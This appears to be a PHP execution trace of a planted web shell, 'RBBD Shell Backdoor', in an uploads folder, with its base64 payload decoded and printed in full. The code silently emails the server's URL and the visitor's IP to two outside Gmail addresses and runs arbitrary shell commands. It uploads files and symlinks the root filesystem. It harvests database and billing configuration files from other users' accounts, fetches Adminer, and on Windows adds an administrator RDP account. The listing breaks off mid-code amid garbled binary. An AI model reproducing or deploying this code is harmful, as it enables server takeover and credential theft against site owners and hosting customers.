'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 3 20 1 0.001957 460184 3 20 R '76e5328b0a78de6f89f03cd35a82da16b75cdbe2' 3 21 0 0.001974 460072 base64_decode 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 4 1 '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 3 21 1 0.002079 488776 3 21 R 'kH.}EY9oZmOK\002R==\006\002\004(A\002\032H$\b]\023\022\020{?\021 ɪwl-2A\036\036/wO/S\a|n__ۯkutﶿח޵_6Oso?oםi3\025ݹ;wh~\032-1=g~Wէy%_Ԟu3\rO+T맒f~\025_5n|7\024N~`?\0215s򤽜\f RBBD Shell Backdoor

⚜ RBBD Shell Backdoor ⚜

\n' /var/www/html/uploads/RBBD.php(3) : eval()'d code 4 0 3 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code 3 $code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U' 4 24 0 0.004972 618560 base64_decode 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code 4 1 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9U' 4 24 1 0.005222 696416 4 24 R '@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]")' 4 25 0 0.006631 967752 eval 1 '@ini_set(\'output_buffering\', 0);\n@ini_set(\'display_errors\', 0);\nset_time_limit(0);\nini_set(\'memory_limit\', \'64M\');\nheader(\'Content-Type: text/html; charset=UTF-8\');\n$tujuanmail = \'serverphpshell@gmail.com\';\n$tujuanmail1 = \'13shell37@gmail.com\';\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nmail($tujuanmail1, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\nset_time_limit(0);\nerror_reporting(0);\n\n//function\nfunction ambilKata($param, $kata1, $kata2){\n if(strpos($param, $kata1) === FALSE) return FALSE;\n if(strpos($param, $kata2) === FALSE) return FALSE;\n $start = strpos($param, $kata1) + strlen($kata1);\n $end = strpos($param, $kata2, $start);\n $return = substr($param, $start, $end - $start);\n return $return;\n}\nif(get_magic_quotes_gpc()) {\n function idx_ss($array) {\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\n }\n $_POST = idx_ss($_POST);\n}\n\nfunction exe($cmd) {\n if(function_exists(\'system\')) { \n@ob_start(); \n@system($cmd); \n$buff = @ob_get_contents(); \n@ob_end_clean(); \nreturn $buff; \n } elseif(function_exists(\'exec\')) { \n@exec($cmd,$results); \n$buff = ""; \nforeach($results as $result) { \n $buff .= $result; \n} return $buff; \n } elseif(function_exists(\'passthru\')) { \n@ob_start(); \n@passthru($cmd); \n$buff = @ob_get_contents(); \n@ob_end_clean(); \nreturn $buff; \n } elseif(function_exists(\'shell_exec\')) { \n$buff = @shell_exec($cmd); \nreturn $buff; \n }\n}\n\n//check dir\n$nick = "k0v3T";\nif(isset($_GET[\'path\'])){\n$path = $_GET[\'path\'];\n}else{\n$path = getcwd();\n}\n$software = getenv("SERVER_SOFTWARE");\n$path = str_replace(\'\\\\\',\'/\',$path);\n$paths = explode(\'/\',$path);\n\n\n////////////////////////////////////////\n\nif(!function_exists(\'posix_getegid\')) {\n $user = @get_current_user();\n $uid = @getmyuid();\n $gid = @getmygid();\n $group = "?";\n} else {\n $uid = @posix_getpwuid(posix_geteuid());\n $gid = @posix_getgrgid(posix_getegid());\n $user = $uid[\'name\'];\n $uid = $uid[\'uid\'];\n $group = $gid[\'name\'];\n $gid = $gid[\'gid\'];\n} \n//uname\necho "
Current Dir : ";\nforeach($paths as $id=>$pat){\nif($pat == \'\' && $id == 0){\n$a = true;\necho \'/\';\ncontinue;\n}\nif($pat == \'\') continue;\necho \'\'.$pat.\'/\';\n}\n\n##TOOLBAR\necho "
\n
\nHome\nUpload\nCommand\nConfig\nJumping\nSymlink\n

\nMass Deface\nBypass Disable Function\nK-RDP 5H3LL\n

\nAdminer\nChange Password cPanel\nZone-H\n\n\n

\n
";\n\n//uploads\nif($_GET[\'a\'] == \'upload\') {\nif(isset($_FILES[\'file\'])){\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\necho \'Done
\';\n}else{\necho \'Error
\';\n}\n}\necho \'
\nUpload File :
\n\n
\n\'; \n\n\n} elseif($_GET[\'a\'] == \'configv2\') {\n if(strtolower(substr(PHP_OS, 0, 3)) == "win"){\necho \'\';\nexit;\n}\n if($_POST){ if($_POST[\'config\'] == \'symvhosts\') {\n @mkdir("RBBD_symvhosts", 0777);\nexe("ln -s / RBBD_symvhosts/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symvhosts/.htaccess",$htaccess);\n $etc_passwd=$_POST[\'passwd\'];\n \n $etc_passwd=explode("\\n",$etc_passwd);\nforeach($etc_passwd as $passwd){\n$pawd=explode(":",$passwd);\n$user =$pawd[5];\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\nif (preg_match(\'/vhosts/i\',$user)){\nexe("ln -s ".$user."/httpdocs/wp-config.php rbbd_symvhosts/".$jembod."-Wordpress.txt");\nexe("ln -s ".$user."/httpdocs/configuration.php rbbd_symvhosts/".$jembod."-Joomla.txt");\nexe("ln -s ".$user."/httpdocs/config/koneksi.php rbbd_symvhosts/".$jembod."-Lokomedia.txt");\nexe("ln -s ".$user."/httpdocs/forum/config.php rbbd_symvhosts/".$jembod."-phpBB.txt");\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php rbbd_symvhosts/".$jembod."-Drupal.txt");\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php rbbd_symvhosts/".$jembod."-PrestaShop.txt");\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml rbbd_symvhosts/".$jembod."-Magento.txt");\nexe("ln -s ".$user."/httpdocs/admin/config.php rbbd_symvhosts/".$jembod."-OpenCart.txt");\nexe("ln -s ".$user."/httpdocs/application/config/database.php rbbd_symvhosts/".$jembod."-Ellislab.txt"); \n}}}\nif($_POST[\'config\'] == \'symlink\') {\n@mkdir("rbbd_symconfig", 0777);\n@symlink("/","rbbd_symconfig/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";\n@file_put_contents("rbbd_symconfig/.htaccess",$htaccess);}\nif($_POST[\'config\'] == \'404\') {\n@mkdir("rbbd_sym404", 0777);\n@symlink("/","rbbd_sym404/root");\n$htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\nIndexIgnore *.txt404\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} ^.*rbbd_sym404 [NC]\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\n@file_put_contents("rbbd_sym404/.htaccess",$htaccess);\n}\nif($_POST[\'config\'] == \'grab\') {\n mkdir("rbbd_configgrab", 0777);\n $isi_htc = "Options all\\nRequire None\\nSatisfy Any";\n $htc = fopen("rbbd_configgrab/.htaccess","w");\n fwrite($htc, $isi_htc); \n}\n$passwd = $_POST[\'passwd\'];\n\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\nforeach($user_config[1] as $user_rbbd) {\n$grab_config = array(\n"/home/$user_rbbd/.accesshash" => "WHM-accesshash",\n"/home/$user_rbbd/public_html/config/koneksi.php" => "Lokomedia",\n"/home/$user_rbbd/public_html/forum/config.php" => "phpBB",\n"/home/$user_rbbd/public_html/sites/default/settings.php" => "Drupal",\n"/home/$user_rbbd/public_html/config/settings.inc.php" => "PrestaShop",\n"/home/$user_rbbd/public_html/app/etc/local.xml" => "Magento",\n"/home/$user_rbbd/public_html/admin/config.php" => "OpenCart",\n"/home/$user_rbbd/public_html/application/config/database.php" => "Ellislab",\n"/home/$user_rbbd/public_html/vb/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forum/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/forums/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/cc/includes/config.php" => "Vbulletin",\n"/home/$user_rbbd/public_html/inc/config.php" => "MyBB",\n"/home/$user_rbbd/public_html/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/shop/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/os/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/oscom/includes/configure.php" => "OsCommerce",\n"/home/$user_rbbd/public_html/products/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\n); \n\nforeach($grab_config as $config => $nama_config) {\n if($_POST[\'config\'] == \'grab\') {\n$ambil_config = file_get_contents($config);\nif($ambil_config == \'\') {\n} else {\n$file_config = fopen("rbbd_configgrab/$user_rbbd-$nama_config.txt","w");\nfputs($file_config,$ambil_config);\n}\n}\nif($_POST[\'config\'] == \'symlink\') {\n@symlink($config,"rbbd_Symconfig/".$user_rbbd."-".$nama_config.".txt");\n}\nif($_POST[\'config\'] == \'404\') {\n$sym404=symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt");\nif($sym404){\n @mkdir("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404", 0777);\n $htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nHeaderName rbbd.txt\nSatisfy Any\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\nIndexIgnore *";\n\n@file_put_contents("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/.htaccess",$htaccess);\n\n@symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/rbbd.txt");\n\n }\n\n}\n\n } \n } if($_POST[\'config\'] == \'grab\') {\n echo "
Done
";\n }\n if($_POST[\'config\'] == \'404\') {\n echo "
\nSymlinkNya\n
Configurations
";\n }\n if($_POST[\'config\'] == \'symlink\') {\necho "
\nSymlinknya\n
Configurations
";\n }if($_POST[\'config\'] == \'symvhost\') {\necho "
\nRoot Server\n
Configurations
";\n }\n \n \n }else{\n echo "
\n



\n
\\n";\n}\n\n#ADMINER\n} elseif($_GET[\'a\'] == \'adminer\') {\n $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n function adminer($url, $isi) {\n $fp = fopen($isi, "w");\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_FILE, $fp);\n return curl_exec($ch);\n curl_close($ch);\n fclose($fp);\n ob_flush();\n flush();\n }\n if(file_exists(\'adminer.php\')) {\n echo "
enter Adminer
";\n } else {\n if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\n echo "
enter Adminer
";\n } else {\n echo "
Filed file adminer
";\n }\n }\n\n#KRDP_SHELL\n} elseif($_GET[\'a\'] == \'rdpshell\') {\n if(strtolower(substr(PHP_OS, 0, 3)) === \'win\') {\n if($_POST[\'create\']) {\n $user = htmlspecialchars($_POST[\'user\']);\n $pass = htmlspecialchars($_POST[\'pass\']);\n if(preg_match("/$user/", exe("net user"))) {\n echo "[INFO] -> user $user sudah ada";\n } else {\n $add_user = exe("net user $user $pass /add");\n $add_groups1 = exe("net localgroup Administrators $user /add");\n $add_groups2 = exe("net localgroup Administrator $user /add");\n $add_groups3 = exe("net localgroup Administrator $user /add");\n echo "[ RDP ACCOUNT INFO ]
\n ------------------------------
\n IP: ".$ip."
\n Username: $user
\n Password: $pass
\n ------------------------------

\n [ STATUS ]
\n ------------------------------
\n ";\n if($add_user) {\n echo "[add user] -> Berhasil
";\n } else {\n echo "[add user] -> Gagal
";\n }\n if($add_groups1) {\n echo "[add localgroup Administrators] -> Berhasil
";\n } elseif($add_groups2) {\n echo "[add localgroup Administrator] -> Success
";\n } elseif($add_groups3) { \n echo "[add localgroup Administrateur] -> Success
";\n } else {\n echo "[add localgroup] -> Filed
";\n }\n echo "------------------------------
